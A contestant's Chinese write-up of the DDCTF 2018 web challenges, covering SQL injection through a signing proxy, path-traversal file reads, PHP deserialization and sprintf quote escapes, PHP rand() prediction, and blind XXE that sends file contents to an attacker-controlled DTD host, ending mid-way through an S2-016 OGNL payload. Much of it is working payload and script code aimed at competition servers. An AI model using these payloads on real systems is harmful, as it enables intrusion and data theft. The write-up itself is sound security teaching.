DDCTF 2018 writeup(一) WEB篇

阅读量    13604 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

传送门: DDCTF 2018 writeup(二) 逆向篇

一. 关于DDCTF

滴滴出行第二届DDCTF高校闯关赛已经落幕,我们在此公布DDCTF2018writeup,此篇文章由本次比赛第二名HenryZhao提供。此外,比赛平台和赛题将继续开放一年,供选手们学习分享。

比赛平台地址:http://ddctf.didichuxing.com/

 

二. WEB writeup

0x01  Web 1 数据库的秘密

打开题目是限制 IP 访问,使用X-Forwarded-For欺骗,之后看到三个搜索框和一个数据表格,如图。随便执行一次搜索发现 GET 参数中会出现 sig 签名字段和 time 时间字段。

猜测存在签名,于是对源码进行分析,签名逻辑位于main.js

11

分析网页 main.js,美化后的 JavaScript 如下:

// key 位于主页 JS 中,此处不再单独截图。内容是 adrefkfweodfsdpiru
var key="141144162145146153146167145157144146163144160151162165"
function signGenerate(obj, key) {
   var str0 = '';
   for (i in obj) {
       if (i != 'sign') {
           str1 = '';
           str1 = i + '=' + obj[i];
           str0 += str1
       }
   }
   return hex_math_enc(str0 + key)
};
var obj = {
   id: '',
   title: '',
   author: '',
   date: '',
   time: parseInt(new Date().getTime() / 1000)
};
function submitt() {
   obj['id'] = document.getElementById('id').value;
   obj['title'] = document.getElementById('title').value;
   obj['author'] = document.getElementById('author').value;
   obj['date'] = document.getElementById('date').value;
   var sign = signGenerate(obj, key);
   document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
   document.getElementById('queryForm').submit()
}

从 JavaScript 中可以得知,签名为特定字符串拼接后的 SHA1,构造方式为 id=title=author=date=time=adrefkfweodfsdpiru,每个等号之后连接响应字段值。另外可以看到 obj 中含有author,这个输入字段在网页上为 hidden状态,十分可疑。

wenb1-2

对于此题,我采用了使用 PHP 编写代理页面的方式,对请求进行了代理并签名。之后使用 sqlmap 等通用工具对该 PHP 页面进行注入即可。
proxy.php 代码如下:

<?php
@$id = $_REQUEST['id'];
@$title = $_REQUEST['title'];
@$author = $_REQUEST['author'];
@$date = $_REQUEST['date'];
$time = time();
$sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru');
$ch = curl_init();
$post = [
   'id' => $id,
   'title' => $title,
   'author' => $author,
   'date' => $date,
];
curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/KREKGJVFPYQKERQR/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
   'X-Forwarded-For: 123.232.23.245',
   ));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);
$header = substr($ch_out, 0, $ch_info['header_size']);
$body = substr($ch_out, $ch_info['header_size']);
http_response_code($ch_info['http_code']);
//header($header);
//echo $header;
echo $body;

sqlmap 一把梭,对代理 PHP 页面进行注入,注入点果然位于author,获得 flag。

sqlmap.py -u 'http://127.0.0.1/proxy.php?author=admin' --dump 

0x02  Web 2 专属链接


任意文件读取

打开网页后是一个滴滴的页面,题目中有备注链接至其他域名的链接与本次CTF无关,请不要攻击,因此只关注当前 IP 下的内容。

web2-2

web 2-1

网页图标出现了奇怪的花纹,引起注意。对应的是 HTML 中的

<link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">

对 ZmF2aWNvbi5pY28= 进行 base64 解码,得到 favicon.ico,猜测存在任意文件读取。
使用二进制编辑器打开 
favicon.ico 后发现文件中多次出现 you can only download .class .xml .ico .ks files 字符串。

22

尝试下载 web.xml ,一番寻找后发现其位于../../WEB-INF/web.xml ,base64 编码后访问地址 /image/banner/Li4vLi4vV0VCLUlORi93ZWIueG1s 下载文件。

从 web.xml 中收集信息,比如 applicationContext.xml , mvc-dispatcher-servlet.xml ,com.didichuxing.ctf.listener.InitListener ,并继续下载对应的 xml 与 class 文件。
以 
com.didichuxing.ctf.listener.InitListener 为例,class 文件位于../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class

如此循环收集信息+下载的过程。

xml

最终下载文件列表如下:

.
├── class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_HomeController.class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_user_FlagController.class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_user_StaticController.class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_dao_FlagDao.class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_listener_InitListener.class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_model_Flag.class
│   ├── _.._WEB-INF_classes_com_didichuxing_ctf_service_FlagService.class
│   └── _.._WEB-INF_classes_com_didichuxing_ctf_util_StringUtil.class
└── xml
   ├── _.._WEB-INF_applicationContext.xml
   ├── _.._WEB-INF_classes_mapper_FlagMapper.xml
   ├── _.._WEB-INF_classes_mybatis_config.xml
   ├── _.._WEB-INF_classes_sdl.ks
   ├── _.._WEB-INF_mvc-dispatcher-servlet.xml
   └── _.._WEB-INF_web.xml
2 directories, 14 files

源码审计

使用 jd-gui 审计 class 文件,

listener/InitListener.class
初始化生成 flag,加密flag,Hmac email 并存储。代码中可看到 email 为 HmacSHA256 ,密钥为 sdl welcome you !
蓝色框内为加密 flag 相关代码,红色框内为 Hmac email 相关代码。

a

controller/user/FlagController.class
用 email Hmac 获取加密后的 flag ,使用了 getFlagByEmail 函数,测试 flag 使用了 exist 函数。

a2

根据以上两个函数于 _.._WEB-INF_classes_mapper_FlagMapper.xml 中进行分析。
可以发现存储于 email 列的内容为 Hmac email,当我们验证 flag 是查找的是 originFlag,也就是原始 flag。

<resultMap id="flag" type="com.didichuxing.ctf.model.Flag">
   <id column="id" property="id"/>
   <result column="email" property="email"/>
   <result column="flag" property="flag"/>
</resultMap>
<insert id="save">
   INSERT INTO t_flag VALUES (#{id}, #{email}, #{flag}, #{originFlag},#{uuid},#{originEmail})
</insert>
......
<select id="getByEmail" resultMap="flag">
   SELECT *
   FROM t_flag
   WHERE email = #{email}
</select>
......
<select id="exist" resultType="java.lang.Integer">
   SELECT *
   FROM t_flag
   WHERE originFlag = #{originFlag}
</select>

使用 email 的 Hmac从 /flag/getflag/ 获取 flag 密文,相关计算方法可从初始化的 class 中获得。
此处我使用了 java 实现相关逻辑,算得 Hmac email 为 
456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6,相关代码见后。

curl -X POST http://116.85.48.102:5050/flag/getflag/456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6 -v
*   Trying 116.85.48.102...
* Connected to 116.85.48.102 (116.85.48.102) port 5050 (#0)
> POST /flag/getflag/456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6 HTTP/1.1
> Host: 116.85.48.102:5050
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200

< Content-Type: text/plain;charset=ISO-8859-1
< Content-Length: 529
< Date: Sat, 21 Apr 2018 04:22:30 GMT
<
Encrypted flag : 15441B42CF86F094971ECC8F36DBDA16390DF0699E2A3DE21A903D4E48DB4D8671A12F60B5B4CAE6391496A555C70E4D168C79EEB891507D3341244384F38500BBAC3CD464F13C8C42EBE2441BFFA38152B1CB4B3B8135402E3EF0F017F270829B3EAFF84FAE7E6DFFB6C41ED28A5AD666526F590BD611FAC0D4C71C85B8B0C774A98D03518B442C85B24F6EDD65A34BCF8A78EBF73055ABEBC7EDACFB8B6080457F1CA0517365E1B195F618FBA527799F63F452BABC4BAE3124CB451CB8632CFF36D7BA9F042EEE7D43364717AF182F82458E22B855ED4EB4ED2F913C17814563F8FC4B11513E76209B6E07C928B3EE5073BB3B1658DA3
* Connection #0 to host 116.85.48.102 left intact

获得 flag 密文之后,再按照反编译的 class 代码进行解密。
这里有个坑,程序加密 flag 时,使用的是 私钥 ,因此我们应当使用 公钥 进行解密操作。

解密后得到DDCTF{6365053991435533423}

编写 java,计算 Hmac 与解密 flag ,代码如下:

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;
public class Main {
   public static void main(String[] args) {
       try {
           String email = "9221799447186232152@didichuxing.com";
           String flag_e_hex="15441B42CF86F094971ECC8F36DBDA16390DF0699E2A3DE21A903D4E48DB4D8671A12F60B5B4CAE6391496A555C70E4D168C79EEB891507D3341244384F38500BBAC3CD464F13C8C42EBE2441BFFA38152B1CB4B3B8135402E3EF0F017F270829B3EAFF84FAE7E6DFFB6C41ED28A5AD666526F590BD611FAC0D4C71C85B8B0C774A98D03518B442C85B24F6EDD65A34BCF8A78EBF73055ABEBC7EDACFB8B6080457F1CA0517365E1B195F618FBA527799F63F452BABC4BAE3124CB451CB8632CFF36D7BA9F042EEE7D43364717AF182F82458E22B855ED4EB4ED2F913C17814563F8FC4B11513E76209B6E07C928B3EE5073BB3B1658DA3F6692A2FC7CE6B230";
           // Hmac email
           SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
           Mac mac = Mac.getInstance("HmacSHA256");
           mac.init(signingKey);
           System.out.println(byte2hex(mac.doFinal(String.valueOf(email.trim()).getBytes())));
           // Decrypt flag
           String p = "sdlwelcomeyou";
           String ksPath = "sdl.ks";
           KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
           FileInputStream inputStream = new FileInputStream(ksPath);
           keyStore.load(inputStream, p.toCharArray());
           KeyStore.PasswordProtection keyPassword =       //Key password
                   new KeyStore.PasswordProtection("sdlwelcomeyou".toCharArray());
           KeyStore.PrivateKeyEntry privateKeyEntry = (KeyStore.PrivateKeyEntry) keyStore.getEntry("www.didichuxing.com", keyPassword);
           java.security.cert.Certificate cert = keyStore.getCertificate("www.didichuxing.com");
           // Get **public key** for decrypt
           PublicKey publicKey = cert.getPublicKey();
           PrivateKey privateKey = privateKeyEntry.getPrivateKey();
           Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
           System.out.println(key.getAlgorithm());
           Cipher cipher = Cipher.getInstance(key.getAlgorithm());
           // 2 for decrypt
           cipher.init(2, publicKey);
           System.out.println(new String(cipher.doFinal(hex2byte(flag_e_hex))));
       }
       catch (KeyStoreException e) {
           e.printStackTrace();
       } catch (IOException e) {
           e.printStackTrace();
       } catch (NoSuchAlgorithmException e) {
           e.printStackTrace();
       } catch (CertificateException e) {
           e.printStackTrace();
       } catch (UnrecoverableKeyException e) {
           e.printStackTrace();
       } catch (NoSuchPaddingException e) {
           e.printStackTrace();
       } catch (InvalidKeyException e) {
           e.printStackTrace();
       } catch (IllegalBlockSizeException e) {
           e.printStackTrace();
       } catch (BadPaddingException e) {
           e.printStackTrace();
       } catch (UnrecoverableEntryException e) {
           e.printStackTrace();
       }
   }
   public static String byte2hex(byte[] b)
   
{
       StringBuilder hs = new StringBuilder();
       for (int n = 0; (b != null) && (n < b.length); n++) {
           String stmp = Integer.toHexString(b[n] & 0xFF);
           if (stmp.length() == 1)
               hs.append('0');
           hs.append(stmp);
       }
       return hs.toString().toUpperCase();
   }
   public static byte[] hex2byte(String str)
   {
       byte[] bytes = new byte[str.length() / 2];
       for (int i = 0; i < bytes.length; i++)
       {
           bytes[i] = (byte) Integer
                   .parseInt(str.substring(2 * i, 2 * i + 2), 16);
       }
       return bytes;
   }
}

0x03 Web 3 注入的奥妙


宽字节注入

网页注释给出了一个 Big-5 编码表的链接,故使用宽字节。关于宽字节注入我参考了这篇文章(http://www.evilclay.com/2017/07/20/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E6%B7%B1%E5%85%A5%E7%A0%94%E7%A9%B6/)。
查询 Big-5 编码表,寻找编码结尾为 5C 的字符,此处给出一个可用 payload 
%E8%B1%B9'

31

注入过程中发现字符串单次替换,例如 union users 等,手工注入读取 information_schema 获得表名与列名。
由于存在不同数据使用了不同编码导致报错,我们对查询的参数进行强制编码转换 
COLLATE utf8_general_ci

此处给出一个最终列出 router_rules 数据的 payload:

/well/getmessage/1%E8%B1%B9’ and 2=1 uniunionon select `id`,`pattern` COLLATE utf8_general_ci,`action` COLLATE utf8_general_ci from route_rules – –

32

id pattern action rulepass
1 get*/ u/well/getmessage/ u/well/getmessage/
12 get*/ u/justtry/self/ u/justtry/self/
13 post*/ u/justtry/try u/justtry/try
15 static/bootstrap/css/backup.css static/bootstrap/css/backup.zip

访问 static/bootstrap/css/backup.css 获得网站代码备份文件,开始代码审计。

PHP 反序列化

对网站源代码进行审计,发现 Controller/Justtry.php 中 try($serialize) 存在可控的反序列化,故在构造析构函数中寻找能够利用的点。
于 
Helper/Test.php 中发现调用 getflag() 且存在 $this->fl->get($user) 故推测 $fl 应为 Flag类。
题目关键代码如下:

// Controller/Justtry.php
public function try($serialize)
{
   unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]);
}
// Helper/Test.php
class Test
{
   public $user_uuid;
   public $fl;
   public function __destruct()
   
{
       $this->getflag('ctfuser', $this->user_uuid);
   }
   public function getflag($m = 'ctfuser', $u = 'default')
   
{
       //TODO: check username
       $user=array(
           'name' => $m,
           'id' => $u
       );
       //懒了直接输出给你们了
       echo 'DDCTF{'.$this->fl->get($user).'}';
   }
}
// Helper/Flag.php
class Flag
{
   public $sql;
   public function __construct()
   
{
       $this->sql=new SQL();
   }
   public function get($user)
   
{
       $tmp=$this->sql->FlagGet($user);
       if ($tmp['status']===1) {
           return $this->sql->FlagGet($user)['flag'];
       }
   }
}
// Helper/SQL.php
class SQL
{
   public $dbc;
   public $pdo;
}

注意类的 命名空间 问题,如果构造的类为根路径,会导致类未初始化的错误。
我使用了 
namespace IndexHelper 方式指定了全局命名空间。

序列化字符串构造 PHP 如下:

<?php
/**
* Created by PhpStorm.
* User: Henryzhao
* Date: 2018/4/14
* Time: 20:34
*/

namespace IndexHelper;
class Test {
   public $user_uuid;
   public $fl;
}
class Flag {
   public $sql;
   public function __construct()
   
{
       $this->sql=new SQL();
   }
}
class SQL {
   public $dbc;
   public $pdo;
}
class FLDbConnect {
   protected $obj;
}
$a = new Test();
$a->user_uuid = '2a9597b9-954d-4cbb-a00b-687f6df00d54';
$a->fl = new Flag();
echo serialize($a).PHP_EOL;
echo urlencode(serialize($a));

获得如下序列化字符串之后,POST 至 /justtry/try 获得 flag。

O:17:“IndexHelperTest”:2:{s:9:“user_uuid”;s:36:“2a9597b9-954d-4cbb-a00b-687f6df00d54”;s:2:“fl”;O:17:“IndexHelperFlag”:1:{s:3:“sql”;O:16:“IndexHelperSQL”:2:{s:3:“dbc”;N;s:3:“pdo”;N;}}}

0x04 Web 4 mini blockchain


题目:好题!

解法:挖矿!

根据题目描述:

  • “矿机也全部宕机”,当前算力为 0

  • “你能追回所有DDCoins”,需要追回

区块链特性:

  • 只承认当前长度最长,工作量证明最大的一条链

  • 设定难度为5,需要挖出 hash 开头为 5 个 0 的区块

流程:

  1. 从创世区块重新挖矿至区块高度最高

  2. 此时银行余额 10000

  3. 使用后门向商店转账

  4. 挖出一个新区块,确认获得钻石

  5. 从上一次银行余额为 10000 的区块开始,再次挖矿至区块高度最高

  6. 使用后门向商店转账

  7. 挖出一个新区块,确认获得钻石

  8. 访问 /flag 获得 flag

挖矿脚本如下:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import hashlib, json
def hash(x):
   return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
   return hash(hash(x)+hash(y))
EMPTY_HASH = '0'*64
def hash_block(block):
   return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
   if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
   nonce = str(nonce_str)
   if len(nonce) > 128: raise Exception('the nonce is too long')
   block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
   block['hash'] = hash_block(block)
   return block
if __name__ == '__main__':
   # genesis_block_hash_web = 'bcb6c4b56055351b0bd3229a737581b412336eb9c2dd7e0ed9715584e2449609'
   try:
       while True:
           print "Difficulty: 5.nInput last block hash:",
           genesis_block_hash_web = raw_input()
           for i in range(0,10000000):
               my_block = create_block(genesis_block_hash_web,str(i),[])
               if my_block['hash'].startswith('00000'):
                   print json.dumps(my_block)
                   break
           #print json.dumps(my_block)
   except Exception, e:
       print str(e)

0x05 Web 5 我的博客


rand 与 str_shuffle 预测

根据题目提示下载 www.tar.gz 获得代码备份。
根据代码我们发现需要注册时的 
identity 为 admin ,否则无法进行进一步操作,完成这个步骤需要预测 $admin

PHP 中的 str_shuffle() 依赖 rand() 进行字符串随机操作,因此结合上文,可以预测生成的 code 字符串。
参考 PHP 5.6.35 string.c L5394 的 C 语言,实现 
str_shuffle() 帮助解题。

PHP 5 中的 rand() 函数存在缺陷,可以通过 rand[i] = rand[i-31] + rand[i-3] 进行预测,网页中的 csrf token 直接暴露了完整的 rand() 结果,因此可以通过获得多次 csrf 来推测之后的结果。

// index.php
if (!$_SESSION['is_admin']) {
   die('You are not admin. <br> Please <a href="login.php">login</a>!');
}
// login.php
$sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] === "admin") {
   $_SESSION['is_admin'] = true;
} else {
   $_SESSION['is_admin'] = false;
}
// register.php
if($_SERVER['REQUEST_METHOD'] === "POST")
{
   $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
   // ... ...
   $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
   // ... ...
   if($code === $admin) {
       $identity = "admin";
   } else {
       $identity = "guest";
   }
   // ... ...
} else {
   // ... ...
   <input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
   // ... ...
}

预测并注册代码如下:
php_rand(): 使用前述公式预测 rand() 结果
php_str_shuffle(): python 实现的 PHP str_shuffle() 函数。

import re
import time
import requests
REQ_NUM = 50
PHP_RAND_MAX = 0x7fffffff
DEBUG = False
rand_list = []
gen_rand_i = REQ_NUM
s = requests.Session()
url = 'http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/register.php'
def php_rand():
   global gen_rand_i
   rand_num = (rand_list[gen_rand_i-31]+rand_list[gen_rand_i-3]) & PHP_RAND_MAX
   if DEBUG:
       print "Gen rand: " + str(gen_rand_i) + ": " + str(rand_num) + " = " + str(rand_list[gen_rand_i-31]) + " + " + str(rand_list[gen_rand_i-3])
   rand_list.append(rand_num)
   gen_rand_i += 1
   return rand_num
# define RAND_RANGE(__n, __min, __max, __tmax)
#    (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * (__n / (__tmax + 1.0)))
def php_rand_range(rand_num, rmin, rmax, tmax):
   return int(rmin + (rmax - rmin + 1.0) * (rand_num / (tmax + 1.0)))
# https://github.com/php/php-src/blob/PHP-5.6.35/ext/standard/string.c#L5394
def php_str_shuffle(instr):
   str_len = len(instr)
   instr = list(instr)
   n_elems = str_len
   if n_elems <= 1:
       return
   n_left = n_elems
   n_left -= 1
   while n_left > 0:
       rnd_idx = php_rand()
       rnd_idx = php_rand_range(rnd_idx, 0, n_left, PHP_RAND_MAX)
       if rnd_idx != n_left:
           temp = instr[n_left]
           instr[n_left] = instr[rnd_idx]
           instr[rnd_idx] = temp
       n_left -= 1
   return ''.join(instr)
def get_rand_from_web():
   r = s.get(url)
   return int(re.findall('id="csrf" value="(.*)"',r.text)[0])
def prepare_rand():
   global gen_rand_i
   r = s.get(url)
   #print r.text
   for i in range(REQ_NUM):
       rand_list.append(get_rand_from_web())
def check_rand():
   for i in range(10):
       print str(php_rand()) + " <-> " + str(get_rand_from_web())
if __name__ == "__main__":
   prepare_rand()
   if DEBUG:
       check_rand()
       for i in range(len(rand_list)):
           print str(i) + ": " + str(rand_list[i])
       exit()
   auth = "admin###" + php_str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')[:32]
   data =  {
       'csrf': str(rand_list[REQ_NUM - 1]),
       'username': 'hzfinally' + auth[18:20],
       'password': auth[10:18],
       'code': auth
   }
   r = s.post(url, data)
   print r.text + "n"
   print "Code: " + data['code']
   print "Username: " + data['username']
   print "Passrowd: " + data['password']

多次 sprintf 导致单引号逃逸

获得管理员权限之后,对查询入口进行注入,由于使用了两次 sprintf 可构造 payload 使 ‘ 逃逸。可参考这篇文章(https://paper.seebug.org/386/)
我们可以构造一个 
%1$' 经过 addslashes 变为 %1$' 其中 %1$ 为合法的格式化输出表达式,sprintf将会吃掉 %1$ 使得单引号逃逸。

// index.php
if(isset($_GET['id'])){
   $id = addslashes($_GET['id']);
   if(isset($_GET['title'])){
       $title = addslashes($_GET['title']);
       $title = sprintf("AND title='%s'", $title);
   }else{
       $title = '';
   }
   $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
   foreach ($pdo->query($sql) as $row) {
       echo "<h1>".$row['title']."</h1><br>".$row['content'];
       die();
   }
}

最终构造注入指令如下:

sqlmap.py -u"http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/index.php?id=1&title=Welcome!" --prefix="%1$'" --suffix=" -- -" -p title --cookie="PHPSESSID=77238cf069e52ba922d62ed27fc51179" --dump

在 key 表中读取 fl4g DDCTF{9b7ccc1e96387b5ce079adab2fb08022}

0x06  Web 6 喝杯Java冷静下


登录

打开网页看到一个登录框,之后在注释中发现有一条 base64 ,解码后为 admin:admin_password_2333_caicaikan 获得 admin 用户名密码。

86:        </div>
87:        <!-- YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu -->
88:    </form>

61

登录后主页是四个下载链接 rest/user/getInfomation?filename=informations/readme.txt,想到任意文件读取。

62

任意文件读取

搜索 quick4j 得知这是一个开源项目,获得源代码结构,使用 wget 一把梭,全拖下来。

wget -i filelist.txt --content-disposition --header "Cookie: JSESSIONID=0D8E262608F4C24C575F8F2138653409"

文件列表如下,已删除每行开头的 http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=

WEB-INF/classes/com/eliteams/quick4j/core/entity/DaoException.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/ErrorResult.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/JSONResult.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/Result.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/ServiceException.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/UserException.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/cache/redis/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/cache/redis/RedisCache.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/Dialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/DialectFactory.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MSDialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MSPageHepler.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MySql5Dialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MySql5PageHepler.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/OracleDialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/PostgreDialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/PostgrePageHepler.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/Page.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/PaginationResultSetHandlerInterceptor.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/PaginationStatementHandlerInterceptor.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/test/TestSupport.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericDao.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericEnum.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericService.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/util/ApplicationUtils.class
WEB-INF/classes/com/eliteams/quick4j/core/util/CookieUtils.class
WEB-INF/classes/com/eliteams/quick4j/core/util/PasswordHash.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/CommonController.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/FormController.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/PageController.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/PermissionMapper.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/PermissionMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/dao/RoleMapper.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/RoleMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/dao/UserMapper.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/UserMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/enums/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/filter/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/interceptors/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/model/Permission.class
WEB-INF/classes/com/eliteams/quick4j/web/model/PermissionExample.class
WEB-INF/classes/com/eliteams/quick4j/web/model/Role.class
WEB-INF/classes/com/eliteams/quick4j/web/model/RoleExample.class
WEB-INF/classes/com/eliteams/quick4j/web/model/User.class
WEB-INF/classes/com/eliteams/quick4j/web/model/UserExample.class
WEB-INF/classes/com/eliteams/quick4j/web/security/OperationType.class
WEB-INF/classes/com/eliteams/quick4j/web/security/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/security/PermissionSign.class
WEB-INF/classes/com/eliteams/quick4j/web/security/Resource.class
WEB-INF/classes/com/eliteams/quick4j/web/security/RoleSign.class
WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class
WEB-INF/classes/com/eliteams/quick4j/web/service/impl/PermissionServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/web/service/impl/RoleServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/web/service/impl/UserServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/web/service/PermissionService.class
WEB-INF/classes/com/eliteams/quick4j/web/service/RoleService.class
WEB-INF/classes/com/eliteams/quick4j/web/service/UserService.class

Super_admin

审计代码后发现 UserController.class 下有 /user/nicaicaikan_url_23333_secret 路由,可以上传 XML ,但需要 super_admin 权限,怀疑 XXE。获得提示读取 /flag/hint.txt

63

继续审计发现,security/SecurityRealm.class 中,有一段代码提示了 super_admin 的密码。

64

询问谷歌老师后获得 StackOverflow 老师的回答https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero,得知 String f5a5a608 的 hashCode 为 0.

获得用户 superadmin_hahaha_2333: f5a5a608

XXE

根据代码启用了 ExpandEntityReferences ,并且限制了提交 XML 长度为 1000 ,无回显,选择 XXE 盲打。
由于存在长度限制,因此选择使用外部 DTD 加载的方式进行攻击。发送 payload 如下:

/rest/user/nicaicaikan_url_23333_secret?xmlData=<!DOCTYPE data SYSTEM "http://111.222.333.444/stwo.dtd"><data>%26send;</data>

构造读取文件 readfile.dtd

<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;

读取得到:

Flag in intranet tomcat_2 server 8080 port.

构造读取文件 tomcat2.dtd

<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;

读取得到:

try to visit hello.action.

构造读取文件 tomcat2h.dtd

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;

读取得到:

This is Struts2 Demo APP, try to read /flag/flag.txt

尝试直接使用 S2-016 命令执行 PoC cat /flag/flag.txt 文件时,提示只允许读取文件,于是构造如下 OGNL 表达式:

${
#context["xwork.MethodAccessor.denyMethodExecution"]=false
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)
#w=new java.io.File("/flag/flag.txt")
#a=new java.io.FileInputStream(#w)
#b=new java.io.InputStreamReader(#a)
#c=new java.io.BufferedReader(#b)
#d=new char[60]
#c.read(#d)
